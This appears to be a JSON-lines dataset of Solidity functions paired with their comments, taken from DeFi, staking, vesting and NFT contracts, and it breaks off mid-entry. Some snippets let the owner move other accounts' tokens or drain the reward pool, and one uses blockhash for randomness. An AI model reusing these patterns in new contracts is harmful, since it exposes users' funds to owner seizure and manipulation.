{"comment": "// Returns the value of excess collateral (in E18) held globally, compared to what is needed to maintain the global collateral ratio\n// Also has throttling to avoid dumps during large price movements", "function_code": "function buybackAvailableCollat() public view returns (uint256) {\r\n uint256 total_supply = FRAX.totalSupply();\r\n uint256 global_collateral_ratio = FRAX.global_collateral_ratio();\r\n uint256 global_collat_value = FRAX.globalCollateralValue();\r\n\r\n if (global_collateral_ratio > PRICE_PRECISION) global_collateral_ratio = PRICE_PRECISION; // Handles an overcollateralized contract with CR > 1\r\n uint256 required_collat_dollar_value_d18 = (total_supply.mul(global_collateral_ratio)).div(PRICE_PRECISION); // Calculates collateral needed to back each 1 FRAX with $1 of collateral at current collat ratio\r\n \r\n if (global_collat_value > required_collat_dollar_value_d18) {\r\n // Get the theoretical buyback amount\r\n uint256 theoretical_bbk_amt = global_collat_value.sub(required_collat_dollar_value_d18);\r\n\r\n // See how much has collateral has been issued this hour\r\n uint256 current_hr_bbk = bbkHourlyCum[curEpochHr()];\r\n\r\n // Account for the throttling\r\n return comboCalcBbkRct(current_hr_bbk, bbkMaxColE18OutPerHour, theoretical_bbk_amt);\r\n }\r\n else return 0;\r\n }", "version": "0.8.4"} {"comment": "/* to be called 5 times */", "function_code": "function reserveToken() public onlyOwner { \r\n uint supply = totalSupply()+1;\r\n uint i;\r\n uint j;\r\n \r\n ReserveList[] memory _acc = new ReserveList[](5);\r\n _acc[0].addr=msg.sender; _acc[0].nbOfToken=20;\r\n _acc[1].addr= address(0xa5cbD48F84BB626B32b49aC2c7479b88Cd871567);_acc[1].nbOfToken=5;\r\n _acc[2].addr= address(0xc06695Ce0AED905A3a3C24Ce99ab75C4bd8b7466);_acc[2].nbOfToken=5;\r\n _acc[3].addr= address(0xe72bf39949CD3D56031895c152B2168ca73b50e9);_acc[3].nbOfToken=5;\r\n _acc[4].addr= address(0x425f1E9bcCdC796f36190b5933d6319c78BA9f19);_acc[4].nbOfToken=5;\r\n\r\n \r\n for (j=0;j<_acc.length;j++){\r\n for (i = 0; i < _acc[j].nbOfToken; i++) {\r\n _safeMint(_acc[j].addr, supply);\r\n supply++;\r\n }\r\n }\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * Claim token for owners of old SSF \r\n */", "function_code": "function claimToken(uint numberOfTokens) public {\r\n require(!lockClaim);\r\n lockClaim=true;\r\n \r\n require(claimIsActive, \"Claim must be active\");\r\n require(totalSupply().add(numberOfTokens) <= MAX_TOKEN, \"Purchase would exceed max supply.\");\r\n \r\n uint ssf_balance ;\r\n uint ssfu_claimable;\r\n (,ssf_balance,ssfu_claimable) = dualBalanceOf(msg.sender);\r\n require(ssf_balance >0, \"Must hold at least 1 SSF to claim a SSFU\");\r\n require(numberOfTokens <= ssfu_claimable , \"Claimed too many.\");\r\n\r\n for(uint i = 0; i < numberOfTokens; i++) {\r\n uint mintIndex = totalSupply()+1;\r\n if (totalSupply() <= MAX_TOKEN) {\r\n if (decreaseClaimable(msg.sender)) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n }\r\n }\r\n\r\n lockClaim=false;\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * Mints token - Comes after the claim phase\r\n */", "function_code": "function mintToken(uint numberOfTokens) public payable {\r\n require(saleIsActive, \"Sale must be active\");\r\n require(totalSupply().add(numberOfTokens) <= MAX_TOKEN, \"Purchase would exceed max supply.\");\r\n require(tokenPrice.mul(numberOfTokens) <= msg.value, \"Ether value sent is not correct\");\r\n \r\n require(numberOfTokens <= maxTokenPurchase, \"Can only mint maxTokenPurchase tokens at a time\");\r\n \r\n \r\n \r\n for(uint i = 0; i < numberOfTokens; i++) {\r\n uint mintIndex = totalSupply()+1;\r\n if (totalSupply() <= MAX_TOKEN) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n }\r\n\r\n // If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after\r\n // the end of pre-sale, set the starting index block\r\n if (startingIndexBlock == 0 && (totalSupply() == MAX_TOKEN || block.timestamp >= REVEAL_TIMESTAMP)) {\r\n startingIndexBlock = block.number;\r\n } \r\n }", "version": "0.7.3"} {"comment": "/**\r\n * Set the starting index once the startingBlox index is known\r\n */", "function_code": "function setStartingIndex() onlyOwner public {\r\n require(startingIndex == 0, \"Starting index is already set\");\r\n require(startingIndexBlock != 0, \"Starting index block must be set\");\r\n \r\n startingIndex = uint(blockhash(startingIndexBlock)) % MAX_TOKEN;\r\n // Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)\r\n if (block.number.sub(startingIndexBlock) > 255) {\r\n startingIndex = uint(blockhash(block.number - 1)) % MAX_TOKEN;\r\n }\r\n // Prevent default sequence\r\n if (startingIndex == 0) {\r\n startingIndex = startingIndex.add(1);\r\n }\r\n }", "version": "0.7.3"} {"comment": "// Returns the missing amount of collateral (in E18) needed to maintain the collateral ratio", "function_code": "function recollatTheoColAvailableE18() public view returns (uint256) {\r\n uint256 frax_total_supply = FRAX.totalSupply();\r\n uint256 effective_collateral_ratio = FRAX.globalCollateralValue().mul(PRICE_PRECISION).div(frax_total_supply); // Returns it in 1e6\r\n \r\n uint256 desired_collat_e24 = (FRAX.global_collateral_ratio()).mul(frax_total_supply);\r\n uint256 effective_collat_e24 = effective_collateral_ratio.mul(frax_total_supply);\r\n\r\n // Return 0 if already overcollateralized\r\n // Otherwise, return the deficiency\r\n if (effective_collat_e24 >= desired_collat_e24) return 0;\r\n else {\r\n return (desired_collat_e24.sub(effective_collat_e24)).div(PRICE_PRECISION);\r\n }\r\n }", "version": "0.8.4"} {"comment": "// Returns the value of FXS available to be used for recollats\n// Also has throttling to avoid dumps during large price movements", "function_code": "function recollatAvailableFxs() public view returns (uint256) {\r\n uint256 fxs_price = getFXSPrice();\r\n\r\n // Get the amount of collateral theoretically available\r\n uint256 recollat_theo_available_e18 = recollatTheoColAvailableE18();\r\n\r\n // Get the amount of FXS theoretically outputtable\r\n uint256 fxs_theo_out = recollat_theo_available_e18.mul(PRICE_PRECISION).div(fxs_price);\r\n\r\n // See how much FXS has been issued this hour\r\n uint256 current_hr_rct = rctHourlyCum[curEpochHr()];\r\n\r\n // Account for the throttling\r\n return comboCalcBbkRct(current_hr_rct, rctMaxFxsOutPerHour, fxs_theo_out);\r\n }", "version": "0.8.4"} {"comment": "// After a redemption happens, transfer the newly minted FXS and owed collateral from this pool\n// contract to the user. Redemption is split into two functions to prevent flash loans from being able\n// to take out FRAX/collateral from the system, use an AMM to trade the new price, and then mint back into the system.", "function_code": "function collectRedemption(uint256 col_idx) external returns (uint256 fxs_amount, uint256 collateral_amount) {\r\n require(redeemPaused[col_idx] == false, \"Redeeming is paused\");\r\n require((lastRedeemed[msg.sender].add(redemption_delay)) <= block.number, \"Too soon\");\r\n bool sendFXS = false;\r\n bool sendCollateral = false;\r\n\r\n // Use Checks-Effects-Interactions pattern\r\n if(redeemFXSBalances[msg.sender] > 0){\r\n fxs_amount = redeemFXSBalances[msg.sender];\r\n redeemFXSBalances[msg.sender] = 0;\r\n unclaimedPoolFXS = unclaimedPoolFXS.sub(fxs_amount);\r\n sendFXS = true;\r\n }\r\n \r\n if(redeemCollateralBalances[msg.sender][col_idx] > 0){\r\n collateral_amount = redeemCollateralBalances[msg.sender][col_idx];\r\n redeemCollateralBalances[msg.sender][col_idx] = 0;\r\n unclaimedPoolCollateral[col_idx] = unclaimedPoolCollateral[col_idx].sub(collateral_amount);\r\n sendCollateral = true;\r\n }\r\n\r\n // Send out the tokens\r\n if(sendFXS){\r\n TransferHelper.safeTransfer(address(FXS), msg.sender, fxs_amount);\r\n }\r\n if(sendCollateral){\r\n TransferHelper.safeTransfer(collateral_addresses[col_idx], msg.sender, collateral_amount);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/* ========== RESTRICTED FUNCTIONS, CUSTODIAN CAN CALL TOO ========== */", "function_code": "function toggleMRBR(uint256 col_idx, uint8 tog_idx) external onlyByOwnGovCust {\r\n if (tog_idx == 0) mintPaused[col_idx] = !mintPaused[col_idx];\r\n else if (tog_idx == 1) redeemPaused[col_idx] = !redeemPaused[col_idx];\r\n else if (tog_idx == 2) buyBackPaused[col_idx] = !buyBackPaused[col_idx];\r\n else if (tog_idx == 3) recollateralizePaused[col_idx] = !recollateralizePaused[col_idx];\r\n\r\n emit MRBRToggled(col_idx, tog_idx);\r\n }", "version": "0.8.4"} {"comment": "// Add an AMO Minter", "function_code": "function addAMOMinter(address amo_minter_addr) external onlyByOwnGov {\r\n require(amo_minter_addr != address(0), \"Zero address detected\");\r\n\r\n // Make sure the AMO Minter has collatDollarBalance()\r\n uint256 collat_val_e18 = IFraxAMOMinter(amo_minter_addr).collatDollarBalance();\r\n require(collat_val_e18 >= 0, \"Invalid AMO\");\r\n\r\n amo_minter_addresses[amo_minter_addr] = true;\r\n\r\n emit AMOMinterAdded(amo_minter_addr);\r\n }", "version": "0.8.4"} {"comment": "// Set the Chainlink oracles", "function_code": "function setOracles(address _frax_usd_chainlink_addr, address _fxs_usd_chainlink_addr) external onlyByOwnGov {\r\n // Set the instances\r\n priceFeedFRAXUSD = AggregatorV3Interface(_frax_usd_chainlink_addr);\r\n priceFeedFXSUSD = AggregatorV3Interface(_fxs_usd_chainlink_addr);\r\n\r\n // Set the decimals\r\n chainlink_frax_usd_decimals = priceFeedFRAXUSD.decimals();\r\n chainlink_fxs_usd_decimals = priceFeedFXSUSD.decimals();\r\n \r\n emit OraclesSet(_frax_usd_chainlink_addr, _fxs_usd_chainlink_addr);\r\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Migrate assets to a new contract\n * @dev The caller has to set the addresses list since we don't maintain a list of them\n * @param _assets List of assets' address to transfer from\n * @param _to Assets recipient\n */", "function_code": "function migrateAssets(address[] memory _assets, address _to) external onlyGovernor {\n require(_assets.length > 0, \"assets-list-is-empty\");\n require(_to != address(this), \"new-contract-is-invalid\");\n\n for (uint256 i = 0; i < _assets.length; ++i) {\n IERC20 _asset = IERC20(_assets[i]);\n uint256 _balance = _asset.balanceOf(address(this));\n _asset.safeTransfer(_to, _balance);\n emit MigratedAsset(_asset, _balance);\n }\n }", "version": "0.8.3"} {"comment": "///////////////////////////// Only Keeper ///////////////////////////////\n/// @notice Perform a slippage-protected swap for VSP\n/// @dev The vVVSP is the beneficiary of the swap\n/// @dev Have to check allowance to routers before calling this", "function_code": "function swapForVspAndTransferToVVSP(address _tokenIn, uint256 _amountIn) external onlyKeeper {\n if (_amountIn > 0) {\n uint256 _minAmtOut =\n (swapSlippage != 10000)\n ? _calcAmtOutAfterSlippage(\n _getOracleRate(_simpleOraclePath(_tokenIn, address(vsp)), _amountIn),\n swapSlippage\n )\n : 1;\n _safeSwap(_tokenIn, address(vsp), _amountIn, _minAmtOut, address(vVSP));\n }\n }", "version": "0.8.3"} {"comment": "// called when minting many NFTs\n// updated_amount = (balanceOG(user) * base_rate * delta / 86400) + amount * initial rate", "function_code": "function updateRewardOnMint(address _user, uint256 _amount) external {\r\n\t\trequire(msg.sender == address(kongzContract), \"Can't call this\");\r\n\t\tuint256 time = min(block.timestamp, END);\r\n\t\tuint256 timerUser = lastUpdate[_user];\r\n\t\tif (timerUser > 0)\r\n\t\t\trewards[_user] = rewards[_user].add(kongzContract.balanceOG(_user).mul(BASE_RATE.mul((time.sub(timerUser)))).div(86400)\r\n\t\t\t\t.add(_amount.mul(INITIAL_ISSUANCE)));\r\n\t\telse \r\n\t\t\trewards[_user] = rewards[_user].add(_amount.mul(INITIAL_ISSUANCE));\r\n\t\tlastUpdate[_user] = time;\r\n\t}", "version": "0.6.12"} {"comment": "// called on transfers", "function_code": "function updateReward(address _from, address _to, uint256 _tokenId) external {\r\n\t\trequire(msg.sender == address(kongzContract));\r\n\t\tif (_tokenId < 1001) {\r\n\t\t\tuint256 time = min(block.timestamp, END);\r\n\t\t\tuint256 timerFrom = lastUpdate[_from];\r\n\t\t\tif (timerFrom > 0)\r\n\t\t\t\trewards[_from] += kongzContract.balanceOG(_from).mul(BASE_RATE.mul((time.sub(timerFrom)))).div(86400);\r\n\t\t\tif (timerFrom != END)\r\n\t\t\t\tlastUpdate[_from] = time;\r\n\t\t\tif (_to != address(0)) {\r\n\t\t\t\tuint256 timerTo = lastUpdate[_to];\r\n\t\t\t\tif (timerTo > 0)\r\n\t\t\t\t\trewards[_to] += kongzContract.balanceOG(_to).mul(BASE_RATE.mul((time.sub(timerTo)))).div(86400);\r\n\t\t\t\tif (timerTo != END)\r\n\t\t\t\t\tlastUpdate[_to] = time;\r\n\t\t\t}\r\n\t\t}\r\n\t}", "version": "0.6.12"} {"comment": "/**\n * @dev Virtual implementation of the vesting formula. This returns the amout vested, as a function of time, for\n * an asset given its total historical allocation.\n */", "function_code": "function _vestingSchedule(uint256 totalAllocation, uint64 timestamp) internal view virtual returns (uint256) {\n if (timestamp < start()) {\n return 0;\n } else if (timestamp > start() + duration()) {\n return totalAllocation;\n } else {\n return (totalAllocation * (timestamp - start())) / duration();\n }\n }", "version": "0.8.0"} {"comment": "/**\n * @notice Safe swap via Uniswap / Sushiswap (better rate of the two)\n * @dev There are many scenarios when token swap via Uniswap can fail, so this\n * method will wrap Uniswap call in a 'try catch' to make it fail safe.\n * however, this method will throw minAmountOut is not met\n * @param _tokenIn address of from token\n * @param _tokenOut address of to token\n * @param _amountIn Amount to be swapped\n * @param _minAmountOut minimum amount out\n */", "function_code": "function _safeSwap(\n address _tokenIn,\n address _tokenOut,\n uint256 _amountIn,\n uint256 _minAmountOut,\n address _to\n ) internal {\n (address[] memory path, uint256 amountOut, uint256 rIdx) =\n swapManager.bestOutputFixedInput(_tokenIn, _tokenOut, _amountIn);\n if (_minAmountOut == 0) _minAmountOut = 1;\n if (amountOut != 0) {\n swapManager.ROUTERS(rIdx).swapExactTokensForTokens(_amountIn, _minAmountOut, path, _to, block.timestamp);\n }\n }", "version": "0.8.3"} {"comment": "/// @dev Return the usd price of asset. mutilpled by 1e18\n/// @param _asset The address of asset", "function_code": "function price(address _asset) public view override returns (uint256) {\r\n AggregatorV3Interface _feed = feeds[_asset];\r\n require(address(_feed) != address(0), \"ChainlinkPriceOracle: not supported\");\r\n\r\n uint8 _decimals = _feed.decimals();\r\n (, int256 _price, , , ) = _feed.latestRoundData();\r\n return uint256(_price).mul(1e18).div(10**_decimals);\r\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree\n * defined by `root`. For this, a `proof` must be provided, containing\n * sibling hashes on the branch from the leaf to the root of the tree. Each\n * pair of leaves and each pair of pre-images are assumed to be sorted.\n */", "function_code": "function verify(\n bytes32[] memory proof,\n bytes32 root,\n bytes32 leaf\n ) internal pure returns (bool, uint256) {\n bytes32 computedHash = leaf;\n uint256 index = 0;\n\n for (uint256 i = 0; i < proof.length; i++) {\n index *= 2;\n bytes32 proofElement = proof[i];\n\n if (computedHash <= proofElement) {\n // Hash(current computed hash + current element of the proof)\n computedHash = keccak256(abi.encodePacked(computedHash, proofElement));\n } else {\n // Hash(current element of the proof + current computed hash)\n computedHash = keccak256(abi.encodePacked(proofElement, computedHash));\n index += 1;\n }\n }\n\n // Check if the computed hash (root) is equal to the provided root\n return (computedHash == root, index);\n }", "version": "0.8.7"} {"comment": "// privileged transfer", "function_code": "function transferPrivileged(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {\r\n if (msg.sender != owner) throw;\r\n balances[msg.sender] = safeSub(balances[msg.sender], _value);\r\n balances[_to] = safeAdd(balances[_to], _value);\r\n previligedBalances[_to] = safeAdd(previligedBalances[_to], _value);\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.12"} {"comment": "// admin only can transfer from the privileged accounts", "function_code": "function transferFromPrivileged(address _from, address _to, uint _value) returns (bool success) {\r\n if (msg.sender != owner) throw;\r\n\r\n uint availablePrevilegedBalance = previligedBalances[_from];\r\n\r\n balances[_from] = safeSub(balances[_from], _value);\r\n balances[_to] = safeAdd(balances[_to], _value);\r\n previligedBalances[_from] = safeSub(availablePrevilegedBalance, _value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.12"} {"comment": "// When is the address's next reward going to become unstakable? ", "function_code": "function nextRewardApplicableTime(address account) external view returns (uint256) {\n require(_stakedTime[account] != 0, \"You dont have a stake in progress\");\n require(_stakedTime[account] <= getTime(), \"Your stake takes 24 hours to become available to interact with\");\n uint256 secondsRemaining = (getTime() - _stakedTime[account]).mod(rewardInterval);\n return secondsRemaining;\n }", "version": "0.5.16"} {"comment": "// ------ FUNCTION -------\n// \n// STAKE ()\n// \n// #require() amount is greater than ZERO\n// #require() address that is staking is not the contract address\n// \n// Insert : token balance to user stakedBalances[address]\n// Insert : current block timestamp timestamp to stakeTime[address]\n// Add : token balance to total supply\n// Transfer : token balance from user to this contract\n// \n// EXIT\n// ", "function_code": "function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {\n \n require(amount > 0, \"Cannot stake 0\");\n uint256 newStakedBalance = _stakedBalance[msg.sender].add(amount);\n require(newStakedBalance >= minStakeBalance, \"Staked balance is less than minimum stake balance\");\n uint256 currentTimestamp = getTime();\n _stakedBalance[msg.sender] = newStakedBalance;\n _stakedTime[msg.sender] = currentTimestamp;\n _totalSupply = _totalSupply.add(amount);\n\n\n // \n if (_addressToIndex[msg.sender] > 0) {\n \n } else {\n allAddress.push(msg.sender);\n uint256 index = allAddress.length;\n _addressToIndex[msg.sender] = index;\n }\n // \n\n stakingToken.safeTransferFrom(msg.sender, address(this), amount);\n emit Staked(msg.sender, amount);\n }", "version": "0.5.16"} {"comment": "// Allows user to unstake tokens without (or with partial) rewards in case of empty reward distribution pool", "function_code": "function exit() public {\n uint256 reward = Math.min(earned(msg.sender), rewardDistributorBalance);\n require(reward > 0 || _rewardBalance[msg.sender] > 0 || _stakedBalance[msg.sender] > 0, \"No tokens to exit\");\n _addReward(msg.sender, reward);\n _stakedTime[msg.sender] = 0;\n if (_rewardBalance[msg.sender] > 0) withdrawReward();\n if (_stakedBalance[msg.sender] > 0) _unstake(msg.sender, _stakedBalance[msg.sender]);\n }", "version": "0.5.16"} {"comment": "// ------ FUNCTION -------\n// \n// WITHDRAW UNSTAKED BALANCE (uint256 amount) \n// \n// updateReward()\n// \n// #require() that the amount of tokens specified to unstake is above ZERO \n// #require() that the user has a current unstakingBalance[address] above amount specified to withdraw\n// #require() that the current block time is greater than their unstaking end date (their unstaking or vesting period has finished)\n// \n// MODIFY : _unstakingBalance[address] to _unstakingBalance[address] minus amount\n// MODIFY : _totalSupply to _totalSupply[address] minus amount\n// \n// TRANSFER : amount to address that called the function\n// \n// \n// EXIT\n// ", "function_code": "function withdrawUnstakedBalance(uint256 amount) public nonReentrant updateReward(msg.sender) {\n\n require(amount > 0, \"Account does not have an unstaking balance\");\n require(_unstakingBalance[msg.sender] >= amount, \"Account does not have that much balance unstaked\");\n require(_unstakingTime[msg.sender] <= getTime(), \"Unstaking period has not finished yet\");\n\n _unstakingBalance[msg.sender] = _unstakingBalance[msg.sender].sub(amount);\n _totalSupply = _totalSupply.sub(amount);\n\n stakingToken.safeTransfer(msg.sender, amount);\n emit Withdrawn(msg.sender, amount);\n }", "version": "0.5.16"} {"comment": "// ------ FUNCTION -------\n// \n// WITHDRAW REWARD ()\n// \n// updateReward()\n// \n// #require() that the reward balance of the user is above ZERO\n// \n// TRANSFER : transfer reward balance to address that called the function\n// \n// MODIFY : update rewardBalance to ZERO\n// \n// EXIT\n// ", "function_code": "function withdrawReward() public updateReward(msg.sender) {\n uint256 reward = _rewardBalance[msg.sender];\n require(reward > 0, \"You have not earned any rewards yet\");\n _rewardBalance[msg.sender] = 0;\n _unstakingBalance[msg.sender] = _unstakingBalance[msg.sender].add(reward);\n _unstakingTime[msg.sender] = getTime() + unstakingInterval;\n emit RewardWithdrawn(msg.sender, reward);\n }", "version": "0.5.16"} {"comment": "// ------ FUNCTION -------\n// \n// REMOVE REWARD SUPPLY | ONLY OWNER\n// \n// #require() that the amount of tokens being removed is above ZERO\n// #require() that the amount is equal to or below the rewardDistributorBalance\n// #require() that the amount is equal to or below the totalSupply of tokens in the contract\n// \n// TRANSFER: amount of tokens from contract\n// \n// MODIFY : update rewardDistributorBalance = rewardDistributorBalance - amount\n// MODIFY : update _totalSupply = _totalSupply - amount\n// \n// EXIT\n// ", "function_code": "function removeRewardSupply(uint256 amount) external onlyOwner nonReentrant {\n require(amount > 0, \"Cannot withdraw 0\");\n require(amount <= rewardDistributorBalance, \"rewardDistributorBalance has less tokens than requested\");\n require(amount <= _totalSupply, \"Amount is greater that total supply\");\n stakingToken.safeTransfer(owner, amount);\n rewardDistributorBalance = rewardDistributorBalance.sub(amount);\n _totalSupply = _totalSupply.sub(amount);\n }", "version": "0.5.16"} {"comment": "//--------------------------------------------------------------------------\n// BOOSTER \n//--------------------------------------------------------------------------", "function_code": "function buyBooster(uint256 idx) public payable \r\n {\r\n require(idx < numberOfBoosts);\r\n BoostData storage b = boostData[idx];\r\n\r\n if (msg.value < b.basePrice || msg.sender == b.owner) revert();\r\n \r\n address beneficiary = b.owner;\r\n uint256 devFeePrize = devFee(b.basePrice);\r\n \r\n distributedToOwner(devFeePrize);\r\n addMiningWarPrizePool(devFeePrize);\r\n addPrizePool(SafeMath.sub(msg.value, SafeMath.mul(devFeePrize,3)));\r\n \r\n updateVirus(msg.sender);\r\n\r\n if ( beneficiary != 0x0 ) updateVirus(beneficiary);\r\n \r\n // transfer ownership \r\n b.owner = msg.sender;\r\n\r\n emit BuyBooster(msg.sender, idx, beneficiary );\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev subtract virus of player\r\n * @param _addr player address \r\n * @param _value number virus subtract \r\n */", "function_code": "function subVirus(address _addr, uint256 _value) public onlyContractsMiniGame\r\n {\r\n updateVirus(_addr);\r\n\r\n Player storage p = players[_addr];\r\n \r\n uint256 subtractVirus = SafeMath.mul(_value,VIRUS_MINING_PERIOD);\r\n \r\n if ( p.virusNumber < subtractVirus ) { revert(); }\r\n\r\n p.virusNumber = SafeMath.sub(p.virusNumber, subtractVirus);\r\n\r\n emit ChangeVirus(_addr, _value, 2);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev get player data\r\n * @param _addr player address\r\n */", "function_code": "function getPlayerData(address _addr) \r\n public \r\n view \r\n returns(\r\n uint256 _virusNumber, \r\n uint256 _currentVirus,\r\n uint256 _research, \r\n uint256 _researchPerDay, \r\n uint256 _lastUpdateTime, \r\n uint256[8] _engineersCount\r\n )\r\n {\r\n Player storage p = players[_addr];\r\n for ( uint256 idx = 0; idx < numberOfEngineer; idx++ ) {\r\n _engineersCount[idx] = p.engineersCount[idx];\r\n }\r\n _currentVirus= SafeMath.div(calCurrentVirus(_addr), VIRUS_MINING_PERIOD);\r\n _virusNumber = SafeMath.div(p.virusNumber, VIRUS_MINING_PERIOD);\r\n _lastUpdateTime = p.lastUpdateTime;\r\n _research = p.research;\r\n _researchPerDay = getResearchPerDay(_addr);\r\n }", "version": "0.4.25"} {"comment": "// ------ FUNCTION -------\n// \n// SET REWARDS INTERVAL () ONLY OWNER\n// \n// #require() that reward interval sullpied as argument is greater than 1 and less than 365 inclusive\n// \n// MODIFY : rewardInterval to supplied _rewardInterval\n// \n// EMIT : update reward interval\n// \n// EXIT\n// ", "function_code": "function setRewardsInterval(uint256 _rewardInterval) external onlyOwner {\n require(\n _rewardInterval >= 1 && _rewardInterval <= 365,\n \"Staking reward interval must be between 1 and 365 inclusive\"\n );\n rewardInterval = _rewardInterval * 1 days;\n emit RewardsDurationUpdated(rewardInterval);\n }", "version": "0.5.16"} {"comment": "// ------ FUNCTION -------#\n// \n// SET REWARDS DIVIDER () ONLY OWNER\n// \n// #require() that reward divider sullpied as argument is greater than original divider\n// \n// MODIFY : rewardIntervalDivider to supplied _rewardInterval\n// \n// EXIT\n// ", "function_code": "function updateChunkUsersRewards(uint256 startIndex, uint256 endIndex) external onlyOwner {\n\n uint256 length = allAddress.length;\n require(endIndex <= length, \"Cant end on index greater than length of addresses\");\n require(endIndex > startIndex, \"Nothing to iterate over\");\n \n\n for (uint i = startIndex; i < endIndex; i++) {\n lockInRewardOnBehalf(allAddress[i]);\n }\n }", "version": "0.5.16"} {"comment": "/// @notice Transfers '_value' in aToken to the '_to' address\n/// @param _to The recipient address\n/// @param _value The amount of wei to transfer", "function_code": "function transfer(address _to, uint256 _value) public returns (bool success) {\r\n /* Check if sender has balance and for overflows */\r\n require(balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]);\r\n \r\n /* Check if amount is nonzero */\r\n require(_value > 0);\r\n\r\n /* Add and subtract new balances */\r\n balances[msg.sender] -= _value;\r\n balances[_to] += _value;\r\n \r\n /* Notify anyone listening that this transfer took place */\r\n emit Transfer(msg.sender, _to, _value);\r\n \r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/// @notice Sells aToken in exchnage for wei at the current bid \n/// price, reduces resreve\n/// @return Proceeds of wei from sale of aToken", "function_code": "function sell(uint256 amount) public returns (uint256 revenue){\r\n uint256 a = 0;\r\n \r\n require(initialSaleComplete);\r\n require(balances[msg.sender] >= amount); // checks if the sender has enough to sell\r\n \r\n a = _totalSupply - amount;\r\n\r\n uint256 p = 0;\r\n uint8 ps = 0;\r\n\r\n (p, ps) = power(1000008,1000000,(uint32)(1e5+1e5*_totalSupply/SU),1e5); // Calculate exponent\r\n p=(S*p)>>ps;\r\n\r\n uint256 p2 = 0;\r\n uint8 ps2 = 0;\r\n\r\n (p2, ps2) = power(1000008,1000000,(uint32)(1e5+1e5*a/SU),1e5); // Calculate exponent\r\n p2=(S*p2)>>ps2;\r\n\r\n \r\n\r\n revenue = (SU*p-SU*p2)*R/S;\r\n \r\n // debugVal2 = revenue;\r\n //debugVal3 = p;\r\n //debugVal4 = p2;\r\n \r\n _totalSupply -= amount; // burn the tokens\r\n require(balances[reserveAddress] >= revenue);\r\n balances[reserveAddress] -= revenue; // adds the amount to owner's balance\r\n balances[msg.sender] -= amount; // subtracts the amount from seller's balance\r\n Contract reserve = Contract(reserveAddress);\r\n reserve.sendFunds(msg.sender, revenue);\r\n \r\n emit Transfer(msg.sender, reserveAddress, amount); // executes an event reflecting on the change\r\n\r\n quoteAsk();\r\n quoteBid(); \r\n\r\n return revenue; // ends function and returns\r\n }", "version": "0.4.25"} {"comment": "/// @notice Compute '_k * (1+1/_q) ^ _n', with precision '_p'\n/// @dev The higher the precision, the higher the gas cost. It should be\n/// something around the log of 'n'. When 'p == n', the\n/// precision is absolute (sans possible integer overflows).\n/// Much smaller values are sufficient to get a great approximation.\n/// @param _k input param k\n/// @param _q input param q\n/// @param _n input param n\n/// @param _p input param p\n/// @return '_k * (1+1/_q) ^ _n' ", "function_code": "function fracExp(uint256 _k, uint256 _q, uint256 _n, uint256 _p) internal pure returns (uint256) {\r\n uint256 s = 0;\r\n uint256 N = 1;\r\n uint256 B = 1;\r\n for (uint256 i = 0; i < _p; ++i){\r\n s += _k * N / B / (_q**i);\r\n N = N * (_n-i);\r\n B = B * (i+1);\r\n }\r\n return s;\r\n }", "version": "0.4.25"} {"comment": "/// @notice Compute the natural logarithm\n/// @notice outputs ln()*FIXED_3*lnr*1e18\n/// @dev This functions assumes that the numerator is larger than or equal \n/// to the denominator, because the output would be negative otherwise.\n/// @param _numerator is a value between 1 and 2 ^ (256 - MAX_PRECISION) - 1\n/// @param _denominator is a value between 1 and 2 ^ (256 - MAX_PRECISION) - 1\n/// @return is a value between 0 and floor(ln(2 ^ (256 - MAX_PRECISION) - 1) * 2 ^ MAX_PRECISION)", "function_code": "function ln_fixed3_lnr_18(uint256 _numerator, uint256 _denominator) internal pure returns (uint256) {\r\n assert(_numerator <= MAX_NUM);\r\n\r\n uint256 res = 0;\r\n uint256 x = _numerator * FIXED_1 / _denominator;\r\n\r\n // If x >= 2, then we compute the integer part of log2(x), which is larger than 0.\r\n if (x >= FIXED_2) {\r\n uint8 count = floorLog2(x / FIXED_1);\r\n x >>= count; // now x < 2\r\n res = count * FIXED_1;\r\n }\r\n\r\n // If x > 1, then we compute the fraction part of log2(x), which is larger than 0.\r\n if (x > FIXED_1) {\r\n for (uint8 i = MAX_PRECISION; i > 0; --i) {\r\n x = (x * x) / FIXED_1; // now 1 < x < 4\r\n if (x >= FIXED_2) {\r\n x >>= 1; // now 1 < x < 2\r\n res += ONE << (i - 1);\r\n }\r\n }\r\n }\r\n\r\n return (((res * LN2_MANTISSA) >> LN2_EXPONENT)*lnR*1e18);\r\n }", "version": "0.4.25"} {"comment": "/// @notice Compute the largest integer smaller than or equal to \n/// the binary logarithm of the input\n/// @param _n Operand of the function\n/// @return Floor(Log2(_n))", "function_code": "function floorLog2(uint256 _n) internal pure returns (uint8) {\r\n uint8 res = 0;\r\n\r\n if (_n < 256) {\r\n // At most 8 iterations\r\n while (_n > 1) {\r\n _n >>= 1;\r\n res += 1;\r\n }\r\n }\r\n else {\r\n // Exactly 8 iterations\r\n for (uint8 s = 128; s > 0; s >>= 1) {\r\n if (_n >= (ONE << s)) {\r\n _n >>= s;\r\n res |= s;\r\n }\r\n }\r\n }\r\n\r\n return res;\r\n }", "version": "0.4.25"} {"comment": "/// @notice Round the operand to one decimal place\n/// @param _n Operand to be rounded\n/// @param _m Divisor\n/// @return ROUND(_n/_m)", "function_code": "function round(uint256 _n, uint256 _m) internal pure returns (uint256) {\r\n uint256 res = 0;\r\n \r\n uint256 p =_n/_m;\r\n res = _n-(_m*p);\r\n \r\n if(res >= 1)\r\n {\r\n res = p+1;\r\n }\r\n else\r\n {\r\n res = p;\r\n }\r\n\r\n return res;\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Claims airdropped tokens.\n 